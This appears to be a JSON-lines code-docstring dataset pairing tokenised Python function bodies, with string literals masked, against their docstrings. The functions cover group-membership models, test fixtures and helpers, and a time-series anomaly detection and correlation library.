{"signature": "def subscribe(self, user):", "body": "if self.subscription_policy == SubscriptionPolicy.OPEN:<EOL><INDENT>return self.add_member(user)<EOL><DEDENT>elif self.subscription_policy == SubscriptionPolicy.APPROVAL:<EOL><INDENT>return self.add_member(user, state=MembershipState.PENDING_ADMIN)<EOL><DEDENT>elif self.subscription_policy == SubscriptionPolicy.CLOSED:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Subscribe a user to a group (done by users).\n\n        Wrapper around ``add_member()`` which checks subscription policy.\n\n        :param user: User to subscribe.\n        :returns: Newly created Membership or None.", "id": "f7814:c3:m14"}
{"signature": "def is_admin(self, admin):", "body": "if GroupAdmin.get(self, admin) is not None:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Verify if given admin is the group admin.\n\n        :param admin: Admin to be checked.\n        :returns: True or False.", "id": "f7814:c3:m15"}
{"signature": "def is_member(self, user, with_pending=False):", "body": "m = Membership.get(self, user)<EOL>if m is not None:<EOL><INDENT>if with_pending:<EOL><INDENT>return True<EOL><DEDENT>elif m.state == MembershipState.ACTIVE:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Verify if given user is a group member.\n\n        :param user: User to be checked.\n        :param bool with_pending: Whether to include pending users or not.\n        :returns: True or False.", "id": "f7814:c3:m16"}
{"signature": "def can_see_members(self, user):", "body": "if self.privacy_policy == PrivacyPolicy.PUBLIC:<EOL><INDENT>return True<EOL><DEDENT>elif self.privacy_policy == PrivacyPolicy.MEMBERS:<EOL><INDENT>return self.is_member(user) or self.is_admin(user)<EOL><DEDENT>elif self.privacy_policy == PrivacyPolicy.ADMINS:<EOL><INDENT>return self.is_admin(user)<EOL><DEDENT>", "docstring": "Determine if given user can see other group members.\n\n        :param user: User to be checked.\n        :returns: True or False.", "id": "f7814:c3:m17"}
{"signature": "def can_edit(self, user):", "body": "if self.is_managed:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return self.is_admin(user)<EOL><DEDENT>", "docstring": "Determine if user can edit group data.\n\n        :param user: User to be checked.\n        :returns: True or False.", "id": "f7814:c3:m18"}
{"signature": "def can_invite_others(self, user):", "body": "if self.is_managed:<EOL><INDENT>return False<EOL><DEDENT>elif self.is_admin(user):<EOL><INDENT>return True<EOL><DEDENT>elif self.subscription_policy != SubscriptionPolicy.CLOSED:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Determine if user can invite people to a group.\n\n        Be aware that this check is independent from the people (users) which\n        are going to be invited. The checked user is the one who invites\n        someone, NOT who is going to be invited.\n\n        :param user: User to be checked.\n        :returns: True or False.", "id": "f7814:c3:m19"}
{"signature": "def can_leave(self, user):", "body": "if self.is_managed:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return self.is_member(user)<EOL><DEDENT>", "docstring": "Determine if user can leave a group.\n\n        :param user: User to be checked.\n        :returns: True or False.", "id": "f7814:c3:m20"}
{"signature": "def members_count(self):", "body": "return Membership.query_by_group(self).count()<EOL>", "docstring": "Determine members count.\n\n        :returns: Number of memberships.", "id": "f7814:c3:m21"}
{"signature": "@classmethod<EOL><INDENT>def get(cls, group, user):<DEDENT>", "body": "try:<EOL><INDENT>m = cls.query.filter_by(user_id=user.get_id(), group=group).one()<EOL>return m<EOL><DEDENT>except Exception:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get membership for given user and group.\n\n        :param group: Group object.\n        :param user: User object.\n        :returns: Membership or None.", "id": "f7814:c4:m0"}
{"signature": "@classmethod<EOL><INDENT>def _filter(cls, query, state=MembershipState.ACTIVE, eager=None):<DEDENT>", "body": "query = query.filter_by(state=state)<EOL>eager = eager or []<EOL>for field in eager:<EOL><INDENT>query = query.options(joinedload(field))<EOL><DEDENT>return query<EOL>", "docstring": "Filter a query result.", "id": "f7814:c4:m1"}
{"signature": "@classmethod<EOL><INDENT>def query_by_user(cls, user, **kwargs):<DEDENT>", "body": "return cls._filter(<EOL>cls.query.filter_by(user_id=user.get_id()),<EOL>**kwargs<EOL>)<EOL>", "docstring": "Get a user's memberships.", "id": "f7814:c4:m2"}
{"signature": "@classmethod<EOL><INDENT>def query_invitations(cls, user, eager=False):<DEDENT>", "body": "if eager:<EOL><INDENT>eager = [Membership.group]<EOL><DEDENT>return cls.query_by_user(user, state=MembershipState.PENDING_USER,<EOL>eager=eager)<EOL>", "docstring": "Get all invitations for given user.", "id": "f7814:c4:m3"}
{"signature": "@classmethod<EOL><INDENT>def query_requests(cls, admin, eager=False):<DEDENT>", "body": "<EOL>if hasattr(admin, '<STR_LIT>') and admin.is_superadmin:<EOL><INDENT>q1 = GroupAdmin.query.with_entities(<EOL>GroupAdmin.group_id)<EOL><DEDENT>else:<EOL><INDENT>q1 = GroupAdmin.query_by_admin(admin).with_entities(<EOL>GroupAdmin.group_id)<EOL><DEDENT>q2 = Membership.query.filter(<EOL>Membership.state == MembershipState.PENDING_ADMIN,<EOL>Membership.id_group.in_(q1),<EOL>)<EOL>q3 = Membership.query_by_user(<EOL>user=admin, state=MembershipState.ACTIVE<EOL>).with_entities(Membership.id_group)<EOL>q4 = GroupAdmin.query.filter(<EOL>GroupAdmin.admin_type == '<STR_LIT>', GroupAdmin.admin_id.in_(q3)<EOL>).with_entities(GroupAdmin.group_id)<EOL>q5 = Membership.query.filter(<EOL>Membership.state == MembershipState.PENDING_ADMIN,<EOL>Membership.id_group.in_(q4))<EOL>query = q2.union(q5)<EOL>return query<EOL>", "docstring": "Get all pending group requests.", "id": "f7814:c4:m4"}
{"signature": "@classmethod<EOL><INDENT>def query_by_group(cls, group_or_id, with_invitations=False, **kwargs):<DEDENT>", "body": "if isinstance(group_or_id, Group):<EOL><INDENT>id_group = group_or_id.id<EOL><DEDENT>else:<EOL><INDENT>id_group = group_or_id<EOL><DEDENT>if not with_invitations:<EOL><INDENT>return cls._filter(<EOL>cls.query.filter_by(id_group=id_group),<EOL>**kwargs<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return cls.query.filter(<EOL>Membership.id_group == id_group,<EOL>db.or_(<EOL>Membership.state == MembershipState.PENDING_USER,<EOL>Membership.state == MembershipState.ACTIVE<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Get a group's members.", "id": "f7814:c4:m5"}
{"signature": "@classmethod<EOL><INDENT>def search(cls, query, q):<DEDENT>", "body": "query = query.join(User).filter(<EOL>User.email.like('<STR_LIT>'.format(q)),<EOL>)<EOL>return query<EOL>", "docstring": "Modify query as so include only specific members.\n\n        :param query: Query object.\n        :param str q: Search string.\n        :returs: Query object.", "id": "f7814:c4:m6"}
{"signature": "@classmethod<EOL><INDENT>def order(cls, query, field, s):<DEDENT>", "body": "if s == '<STR_LIT>':<EOL><INDENT>query = query.order_by(asc(field))<EOL><DEDENT>elif s == '<STR_LIT>':<EOL><INDENT>query = query.order_by(desc(field))<EOL><DEDENT>return query<EOL>", "docstring": "Modify query as so to order the results.\n\n        :param query: Query object.\n        :param str s: Orderinig: ``asc`` or ``desc``.\n        :returs: Query object.", "id": "f7814:c4:m7"}
{"signature": "@classmethod<EOL><INDENT>def create(cls, group, user, state=MembershipState.ACTIVE):<DEDENT>", "body": "with db.session.begin_nested():<EOL><INDENT>membership = cls(<EOL>user_id=user.get_id(),<EOL>id_group=group.id,<EOL>state=state,<EOL>)<EOL>db.session.add(membership)<EOL><DEDENT>return membership<EOL>", "docstring": "Create a new membership.", "id": "f7814:c4:m8"}
{"signature": "@classmethod<EOL><INDENT>def delete(cls, group, user):<DEDENT>", "body": "with db.session.begin_nested():<EOL><INDENT>cls.query.filter_by(group=group, user_id=user.get_id()).delete()<EOL><DEDENT>", "docstring": "Delete membership.", "id": "f7814:c4:m9"}
{"signature": "def accept(self):", "body": "with db.session.begin_nested():<EOL><INDENT>self.state = MembershipState.ACTIVE<EOL>db.session.merge(self)<EOL><DEDENT>", "docstring": "Activate membership.", "id": "f7814:c4:m10"}
{"signature": "def reject(self):", "body": "with db.session.begin_nested():<EOL><INDENT>db.session.delete(self)<EOL><DEDENT>", "docstring": "Remove membership.", "id": "f7814:c4:m11"}
{"signature": "def is_active(self):", "body": "return self.state == MembershipState.ACTIVE<EOL>", "docstring": "Check if membership is in an active state.", "id": "f7814:c4:m12"}
{"signature": "@classmethod<EOL><INDENT>def create(cls, group, admin):<DEDENT>", "body": "with db.session.begin_nested():<EOL><INDENT>obj = cls(<EOL>group=group,<EOL>admin=admin,<EOL>)<EOL>db.session.add(obj)<EOL><DEDENT>return obj<EOL>", "docstring": "Create a new group admin.\n\n        :param group: Group object.\n        :param admin: Admin object.\n        :returns: Newly created GroupAdmin object.\n        :raises: IntegrityError", "id": "f7814:c5:m0"}
{"signature": "@classmethod<EOL><INDENT>def get(cls, group, admin):<DEDENT>", "body": "try:<EOL><INDENT>ga = cls.query.filter_by(<EOL>group=group, admin_id=admin.get_id(),<EOL>admin_type=resolve_admin_type(admin)).one()<EOL>return ga<EOL><DEDENT>except Exception:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get specific GroupAdmin object.", "id": "f7814:c5:m1"}
{"signature": "@classmethod<EOL><INDENT>def delete(cls, group, admin):<DEDENT>", "body": "with db.session.begin_nested():<EOL><INDENT>obj = cls.query.filter(<EOL>cls.admin == admin, cls.group == group).one()<EOL>db.session.delete(obj)<EOL><DEDENT>", "docstring": "Delete admin from group.\n\n        :param group: Group object.\n        :param admin: Admin object.", "id": "f7814:c5:m2"}
{"signature": "@classmethod<EOL><INDENT>def query_by_group(cls, group):<DEDENT>", "body": "return cls.query.filter_by(group=group)<EOL>", "docstring": "Get all admins for a specific group.", "id": "f7814:c5:m3"}
{"signature": "@classmethod<EOL><INDENT>def query_by_admin(cls, admin):<DEDENT>", "body": "return cls.query.filter_by(<EOL>admin_type=resolve_admin_type(admin), admin_id=admin.get_id())<EOL>", "docstring": "Get all groups for for a specific admin.", "id": "f7814:c5:m4"}
{"signature": "@classmethod<EOL><INDENT>def query_admins_by_group_ids(cls, groups_ids=None):<DEDENT>", "body": "assert groups_ids is None or isinstance(groups_ids, list)<EOL>query = db.session.query(<EOL>Group.id, func.count(GroupAdmin.id)<EOL>).join(<EOL>GroupAdmin<EOL>).group_by(<EOL>Group.id<EOL>)<EOL>if groups_ids:<EOL><INDENT>query = query.filter(Group.id.in_(groups_ids))<EOL><DEDENT>return query<EOL>", "docstring": "Get count of admins per group.", "id": "f7814:c5:m5"}
{"signature": "@app.cli.group()<EOL>def fixtures():", "body": "", "docstring": "Command for working with test data.", "id": "f7820:m0"}
{"signature": "@fixtures.command()<EOL>def users():", "body": "from invenio_groups.models import Group, Membership,PrivacyPolicy, SubscriptionPolicy<EOL>admin = accounts.datastore.create_user(<EOL>email='<STR_LIT>',<EOL>password=encrypt_password('<STR_LIT>'),<EOL>active=True,<EOL>)<EOL>reader = accounts.datastore.create_user(<EOL>email='<STR_LIT>',<EOL>password=encrypt_password('<STR_LIT>'),<EOL>active=True,<EOL>)<EOL>admins = Group.create(name='<STR_LIT>', admins=[admin])<EOL>for i in range(<NUM_LIT:10>):<EOL><INDENT>Group.create(name='<STR_LIT>'.format(i), admins=[admin])<EOL><DEDENT>Membership.create(admins, reader)<EOL>db.session.commit()<EOL>", "docstring": "Load default users and groups.", "id": "f7820:m1"}
{"signature": "def start_http_server():", "body": "global port_test<EOL>command = '<STR_LIT>' % port_test<EOL>os.system(command)<EOL>time.sleep(<NUM_LIT:1>)<EOL>", "docstring": "start a local http server for testing", "id": "f7827:m2"}
{"signature": "def kill_http_server():", "body": "command = '<STR_LIT>'<EOL>os.system(command)<EOL>time.sleep(<NUM_LIT:1>)<EOL>", "docstring": "After testing, kill the local http server", "id": "f7827:m3"}
{"signature": "def create_tmp_dir():", "body": "'''<STR_LIT>'''<EOL>'''<STR_LIT>'''<EOL>global tmp_dir<EOL>tmp_dir = os.path.join('<STR_LIT>', str(uuid.uuid4()))<EOL>if not os.path.exists(tmp_dir):<EOL><INDENT>os.makedirs(tmp_dir)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % tmp_dir)<EOL>return<EOL><DEDENT>", "docstring": "create a unique tmp dir to hold the downloaded local files", "id": "f7827:m4"}
{"signature": "def delete_tmp_dir():", "body": "global tmp_dir<EOL>shutil.rmtree(tmp_dir)<EOL>", "docstring": "delete the tmp directory", "id": "f7827:m5"}
{"signature": "def create_tmp_dir():", "body": "'''<STR_LIT>'''<EOL>'''<STR_LIT>'''<EOL>global tmp_dir<EOL>tmp_dir = os.path.join('<STR_LIT>', '<STR_LIT>' + '<STR_LIT:.>' + str(uuid.uuid4()))   <EOL>if not os.path.exists(tmp_dir):<EOL><INDENT>os.makedirs(tmp_dir)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % tmp_dir)<EOL>return<EOL><DEDENT>", "docstring": "create a unique tmp dir to hold the downloaded local files", "id": "f7830:m2"}
{"signature": "def delete_tmp_dir():", "body": "global tmp_dir<EOL>shutil.rmtree(tmp_dir)<EOL>", "docstring": "delete the tmp directory", "id": "f7830:m3"}
{"signature": "def prepare_data():", "body": "log = []<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>log.append('<STR_LIT>')<EOL>with open(os.path.join(tmp_dir, '<STR_LIT>'), '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write('<STR_LIT:\\n>'.join(log))<EOL><DEDENT>", "docstring": "Hard code the raw logs and output into files so that netstat metric can pick them up.\nDoing so can remove the dependency on physical logs.\n:return:", "id": "f7831:m0"}
{"signature": "def create_tmp_dir():", "body": "global tmp_dir<EOL>tmp_dir = os.path.join('<STR_LIT>', '<STR_LIT>' + '<STR_LIT:.>' + str(uuid.uuid4()))   <EOL>if not os.path.exists(tmp_dir):<EOL><INDENT>os.makedirs(tmp_dir)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % tmp_dir)<EOL>return<EOL><DEDENT>", "docstring": "create a unique tmp dir to hold the downloaded local files\nif the tmp_dir grenerated already exists, then simply return\nthe user simply try again to generate another unique tmp dir\n:return:", "id": "f7831:m3"}
{"signature": "def delete_tmp_dir():", "body": "shutil.rmtree(tmp_dir)<EOL>", "docstring": "delete the tmp directory\n:return:", "id": "f7831:m4"}
{"signature": "def __init__(self, metrix, related_metrices):", "body": "self.metrix = self._load(metrix)<EOL>self.anomaly_detector = AnomalyDetector(metrix)<EOL>self.related_metrices = related_metrices<EOL>self.anomalies = self.anomaly_detector.get_anomalies()<EOL>self._analyze()<EOL>", "docstring": "Initializer\n:param metrix: a TimeSeries, a dictionary or a path to a csv file(str)\n:param list related_metrixes: a list of time series.", "id": "f7832:c0:m0"}
{"signature": "def _load(self, metrix):", "body": "if isinstance(metrix, TimeSeries):<EOL><INDENT>return metrix<EOL><DEDENT>if isinstance(metrix, dict):<EOL><INDENT>return TimeSeries(metrix)<EOL><DEDENT>return TimeSeries(utils.read_csv(metrix))<EOL>", "docstring": "Load time series.\n:param timeseries: a TimeSeries, a dictionary or a path to a csv file(str).\n:return TimeSeries: a TimeSeries object.", "id": "f7832:c0:m1"}
{"signature": "def _analyze(self):", "body": "output = defaultdict(list)<EOL>output_by_name = defaultdict(list)<EOL>scores = self.anomaly_detector.get_all_scores()<EOL>if self.anomalies:<EOL><INDENT>for anomaly in self.anomalies:<EOL><INDENT>metrix_scores = scores<EOL>start_t, end_t = anomaly.get_time_window()<EOL>t = anomaly.exact_timestamp<EOL>room = (end_t - start_t) / <NUM_LIT:2><EOL>if not room:<EOL><INDENT>room = <NUM_LIT:30><EOL><DEDENT>extended_start_t = start_t - room<EOL>extended_end_t = end_t + room<EOL>metrix_scores_cropped = metrix_scores.crop(extended_start_t, extended_end_t)<EOL>while len(metrix_scores_cropped) < <NUM_LIT:2>:<EOL><INDENT>extended_start_t = extended_start_t - room<EOL>extended_end_t = extended_end_t + room<EOL>metrix_scores_cropped = metrix_scores.crop(extended_start_t, extended_end_t)<EOL><DEDENT>for entry in self.related_metrices:<EOL><INDENT>try:<EOL><INDENT>entry_correlation_result = Correlator(self.metrix, entry, time_period=(extended_start_t, extended_end_t),<EOL>use_anomaly_score=True).get_correlation_result()<EOL>record = extended_start_t, extended_end_t, entry_correlation_result.__dict__, entry<EOL>record_by_name = extended_start_t, extended_end_t, entry_correlation_result.__dict__<EOL>output[t].append(record)<EOL>output_by_name[entry].append(record_by_name)<EOL><DEDENT>except exceptions.NotEnoughDataPoints:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.output = output<EOL>self.output_by_name = output_by_name<EOL>", "docstring": "Analyzes if a matrix has anomalies.\nIf any anomaly is found, determine if the matrix correlates with any other matrixes.\nTo be implemented.", "id": "f7832:c0:m2"}
{"signature": "def __init__(self, time_series, baseline_time_series, percent_threshold_upper=None, percent_threshold_lower=None):", "body": "super(CustomAlgo, self).__init__(self.__class__.__name__, time_series, baseline_time_series)<EOL>self.percent_threshold_upper = percent_threshold_upper<EOL>self.percent_threshold_lower = percent_threshold_lower<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": ":param time_series: current time series\n:param baseline_time_series: baseline time series\n:param percent_threshold_upper: If time_series is larger than baseline_time_series by this percent, then its\nan anomaly\n:param percent_threshold_lower: If time_series is smaller than baseline_time_series by this percent, then its\nan anomaly", "id": "f7834:c1:m0"}
{"signature": "def _set_scores(self):", "body": "anom_scores = {}<EOL>for i, (timestamp, value) in enumerate(self.time_series.items()):<EOL><INDENT>baseline_value = self.baseline_time_series[i]<EOL>if baseline_value > <NUM_LIT:0>:<EOL><INDENT>diff_percent = <NUM_LIT:100> * (value - baseline_value) / baseline_value<EOL><DEDENT>elif value > <NUM_LIT:0>:<EOL><INDENT>diff_percent = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>diff_percent = <NUM_LIT:0.0><EOL><DEDENT>anom_scores[timestamp] = <NUM_LIT:0.0><EOL>if self.percent_threshold_upper and diff_percent > <NUM_LIT:0> and diff_percent > self.percent_threshold_upper:<EOL><INDENT>anom_scores[timestamp] = diff_percent<EOL><DEDENT>if self.percent_threshold_lower and diff_percent < <NUM_LIT:0> and diff_percent < self.percent_threshold_lower:<EOL><INDENT>anom_scores[timestamp] = -<NUM_LIT:1> * diff_percent<EOL><DEDENT><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Compute anomaly scores for the time series\nThis algorithm just takes the diff of threshold with current value as anomaly score", "id": "f7834:c1:m1"}
{"signature": "def __init__(self, time_series_a, time_series_b, time_period=None, use_anomaly_score=False, algorithm_name=None, algorithm_params=None):", "body": "self.time_series_a = self._load(time_series_a)<EOL>self.time_series_b = self._load(time_series_b)<EOL>if use_anomaly_score:<EOL><INDENT>self.time_series_a = self._get_anomaly_scores(self.time_series_a)<EOL>self.time_series_b = self._get_anomaly_scores(self.time_series_b)<EOL><DEDENT>if time_period:<EOL><INDENT>start_p, end_p = time_period<EOL>try:<EOL><INDENT>self.time_series_a = self.time_series_a.crop(start_p, end_p)<EOL>self.time_series_b = self.time_series_b.crop(start_p, end_p)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise exceptions.NotEnoughDataPoints<EOL><DEDENT><DEDENT>self._sanity_check()<EOL>self.algorithm_params = {'<STR_LIT>': self.time_series_a, '<STR_LIT>': self.time_series_b}<EOL>self._get_algorithm_and_params(algorithm_name, algorithm_params)<EOL>self._correlate()<EOL>", "docstring": "Initializer\n:param time_series_a: a TimeSeries, a dictionary or a path to a csv file(str).\n:param time_series_b: a TimeSeries, a dictionary or a path to a csv file(str).\n:param time_period: a tuple (start, end) representing a data period for considering correlation.\n:param str algorithm_name: name of the algorithm to use.\n:param dict algorithm_params: additional params for the specific algorithm.", "id": "f7837:c0:m0"}
{"signature": "def _get_anomaly_scores(self, time_series):", "body": "return AnomalyDetector(time_series, score_only=True).get_all_scores()<EOL>", "docstring": "Get anomaly scores of a time series.\n:param TimeSeries time_series: a time_series.", "id": "f7837:c0:m1"}
{"signature": "def _load(self, time_series):", "body": "if isinstance(time_series, TimeSeries):<EOL><INDENT>return time_series<EOL><DEDENT>if isinstance(time_series, dict):<EOL><INDENT>return TimeSeries(time_series)<EOL><DEDENT>return TimeSeries(utils.read_csv(time_series))<EOL>", "docstring": "Load time series into a TimeSeries object.\n:param timeseries: a TimeSeries, a dictionary or a path to a csv file(str).\n:return TimeSeries: a TimeSeries object.", "id": "f7837:c0:m2"}
{"signature": "def _get_algorithm_and_params(self, algorithm_name, algorithm_params):", "body": "algorithm_name = algorithm_name or CORRELATOR_ALGORITHM<EOL>try:<EOL><INDENT>self.algorithm = correlator_algorithms[algorithm_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise exceptions.AlgorithmNotFound('<STR_LIT>' + str(algorithm_name) + '<STR_LIT>')<EOL><DEDENT>if algorithm_params:<EOL><INDENT>if not isinstance(algorithm_params, dict):<EOL><INDENT>raise exceptions.InvalidDataFormat('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.algorithm_params = dict(algorithm_params.items() + self.algorithm_params.items())<EOL><DEDENT><DEDENT>", "docstring": "Get the specific algorithm and merge the algorithm params.\n:param str algorithm: name of the algorithm to use.\n:param dict algorithm_params: additional params for the specific algorithm.", "id": "f7837:c0:m3"}
{"signature": "def _sanity_check(self):", "body": "if len(self.time_series_a) < <NUM_LIT:2> or len(self.time_series_b) < <NUM_LIT:2>:<EOL><INDENT>raise exceptions.NotEnoughDataPoints('<STR_LIT>')<EOL><DEDENT>", "docstring": "Check if the time series have more than two data points.", "id": "f7837:c0:m4"}
{"signature": "def _correlate(self):", "body": "a = self.algorithm(**self.algorithm_params)<EOL>self.correlation_result = a.run()<EOL>", "docstring": "Run correlation algorithm.", "id": "f7837:c0:m5"}
{"signature": "def get_correlation_result(self):", "body": "return self.correlation_result<EOL>", "docstring": "Get correlation result.\n:return CorrelationResult: a CorrelationResult object.", "id": "f7837:c0:m6"}
{"signature": "def is_correlated(self, threshold=None):", "body": "return self.correlation_result if self.correlation_result.coefficient >= threshold else False<EOL>", "docstring": "Compare with a threshold to determine whether two timeseries correlate to each other.\n:return: a CorrelationResult object if two time series correlate otherwise false.", "id": "f7837:c0:m7"}
{"signature": "def __init__(self, time_series, baseline_time_series=None, score_only=False, score_threshold=None,<EOL>score_percent_threshold=None, algorithm_name=None, algorithm_params=None, refine_algorithm_name=None,<EOL>refine_algorithm_params=None, algorithm_class=None):", "body": "self.time_series = self._load(time_series)<EOL>self.baseline_time_series = self._load(baseline_time_series)<EOL>self.score_percent_threshold = score_percent_threshold or DEFAULT_SCORE_PERCENT_THRESHOLD<EOL>algorithm_name = algorithm_name or ANOMALY_DETECTOR_ALGORITHM<EOL>self.algorithm = algorithm_class or self._get_algorithm(algorithm_name)<EOL>self.threshold = score_threshold or ANOMALY_THRESHOLD.get(algorithm_name)<EOL>self.refine_algorithm = self._get_algorithm(refine_algorithm_name or ANOMALY_DETECTOR_REFINE_ALGORITHM)<EOL>self.algorithm_params = {'<STR_LIT>': self.time_series, '<STR_LIT>': self.baseline_time_series}<EOL>algorithm_params = algorithm_params or {}<EOL>self.algorithm_params.update(algorithm_params)<EOL>self.refine_algorithm_params = refine_algorithm_params or {}<EOL>self._detect(score_only)<EOL>", "docstring": "Initializer\n:param time_series: a TimeSeries, a dictionary or a path to a csv file(str).\n:param baseline_time_series: a TimeSeries, a dictionary or a path to a csv file(str).\n:param bool score_only: if asserted, only anomaly scores are computed.\n:param float score_percent_threshold: percent threshold on anomaly score above which is considered an anomaly.\n:param str algorithm_name: name of the algorithm to use(file name).\n:param dict algorithm_params: additional params for the specific algorithm.\n:param str refine_algorithm_name: name of the refine algorithm to use(file name).\n:param dict refine_algorithm_params: additional params for the specific refine algorithm.\n:param AnomalyDetectorAlgorithm algorithm_class: A AnomalyDetectorAlgorithm class that when passed to luminol will\n  be used to assign anomaly scores. This is useful when luminol user wants to use a custom algorithm.", "id": "f7838:c0:m0"}
{"signature": "def _load(self, time_series):", "body": "if not time_series:<EOL><INDENT>return None<EOL><DEDENT>if isinstance(time_series, TimeSeries):<EOL><INDENT>return time_series<EOL><DEDENT>if isinstance(time_series, dict):<EOL><INDENT>return TimeSeries(time_series)<EOL><DEDENT>return TimeSeries(utils.read_csv(time_series))<EOL>", "docstring": "Load time series.\n:param time_series: a TimeSeries, a dictionary or a path to a csv file(str).\n:return TimeSeries: a TimeSeries object.", "id": "f7838:c0:m1"}
{"signature": "def _get_algorithm(self, algorithm_name):", "body": "try:<EOL><INDENT>algorithm = anomaly_detector_algorithms[algorithm_name]<EOL>return algorithm<EOL><DEDENT>except KeyError:<EOL><INDENT>raise exceptions.AlgorithmNotFound('<STR_LIT>' + str(algorithm_name) + '<STR_LIT>')<EOL><DEDENT>", "docstring": "Get the specific algorithm.\n:param str algorithm_name: name of the algorithm to use(file name).\n:return: algorithm object.", "id": "f7838:c0:m2"}
{"signature": "def _detect(self, score_only):", "body": "try:<EOL><INDENT>algorithm = self.algorithm(**self.algorithm_params)<EOL>self.anom_scores = algorithm.run()<EOL><DEDENT>except exceptions.NotEnoughDataPoints:<EOL><INDENT>algorithm = anomaly_detector_algorithms['<STR_LIT>'](self.time_series)<EOL>self.threshold = self.threshold or ANOMALY_THRESHOLD['<STR_LIT>']<EOL>self.anom_scores = algorithm.run()<EOL><DEDENT>if not score_only:<EOL><INDENT>self._detect_anomalies()<EOL><DEDENT>", "docstring": "Detect anomaly periods.\n:param bool score_only: if true, only anomaly scores are computed.", "id": "f7838:c0:m3"}
{"signature": "def _detect_anomalies(self):", "body": "anom_scores = self.anom_scores<EOL>max_anom_score = anom_scores.max()<EOL>anomalies = []<EOL>if max_anom_score:<EOL><INDENT>threshold = self.threshold or max_anom_score * self.score_percent_threshold<EOL>intervals = []<EOL>start, end = None, None<EOL>for timestamp, value in anom_scores.iteritems():<EOL><INDENT>if value > threshold:<EOL><INDENT>end = timestamp<EOL>if not start:<EOL><INDENT>start = timestamp<EOL><DEDENT><DEDENT>elif start and end is not None:<EOL><INDENT>intervals.append([start, end])<EOL>start = None<EOL>end = None<EOL><DEDENT><DEDENT>if start is not None:<EOL><INDENT>intervals.append([start, end])<EOL><DEDENT>for interval_start, interval_end in intervals:<EOL><INDENT>interval_series = anom_scores.crop(interval_start, interval_end)<EOL>self.refine_algorithm_params['<STR_LIT>'] = interval_series<EOL>refine_algorithm = self.refine_algorithm(**self.refine_algorithm_params)<EOL>scores = refine_algorithm.run()<EOL>max_refine_score = scores.max()<EOL>max_refine_timestamp = scores.timestamps[scores.values.index(max_refine_score)]<EOL>anomaly = Anomaly(interval_start, interval_end, interval_series.max(), max_refine_timestamp)<EOL>anomalies.append(anomaly)<EOL><DEDENT><DEDENT>self.anomalies = anomalies<EOL>", "docstring": "Detect anomalies using a threshold on anomaly scores.", "id": "f7838:c0:m4"}
{"signature": "def get_anomalies(self):", "body": "return getattr(self, '<STR_LIT>', [])<EOL>", "docstring": "Get anomalies.\n:return list: a list of Anomaly objects.", "id": "f7838:c0:m5"}
{"signature": "def get_all_scores(self):", "body": "return getattr(self, '<STR_LIT>', None)<EOL>", "docstring": "Get anomaly scores.\n:return: a TimeSeries object represents anomaly scores.", "id": "f7838:c0:m6"}
{"signature": "def __init__(self, time_series, baseline_time_series=None, smoothing_factor=None):", "body": "super(DerivativeDetector, self).__init__(self.__class__.__name__, time_series, baseline_time_series)<EOL>self.smoothing_factor = (smoothing_factor or DEFAULT_DERI_SMOOTHING_FACTOR)<EOL>self.time_series_items = self.time_series.items()<EOL>", "docstring": "Initializer\n:param TimeSeries time_series: a TimeSeries object.\n:param TimeSeries baseline_time_series: baseline TimeSeries.\n:param float smoothing_factor: smoothing factor.", "id": "f7839:c0:m0"}
{"signature": "def _compute_derivatives(self):", "body": "derivatives = []<EOL>for i, (timestamp, value) in enumerate(self.time_series_items):<EOL><INDENT>if i > <NUM_LIT:0>:<EOL><INDENT>pre_item = self.time_series_items[i - <NUM_LIT:1>]<EOL>pre_timestamp = pre_item[<NUM_LIT:0>]<EOL>pre_value = pre_item[<NUM_LIT:1>]<EOL>td = timestamp - pre_timestamp<EOL>derivative = (value - pre_value) / td if td != <NUM_LIT:0> else value - pre_value<EOL>derivative = abs(derivative)<EOL>derivatives.append(derivative)<EOL><DEDENT><DEDENT>if derivatives:<EOL><INDENT>derivatives.insert(<NUM_LIT:0>, derivatives[<NUM_LIT:0>])<EOL><DEDENT>self.derivatives = derivatives<EOL>", "docstring": "Compute derivatives of the time series.", "id": "f7839:c0:m1"}
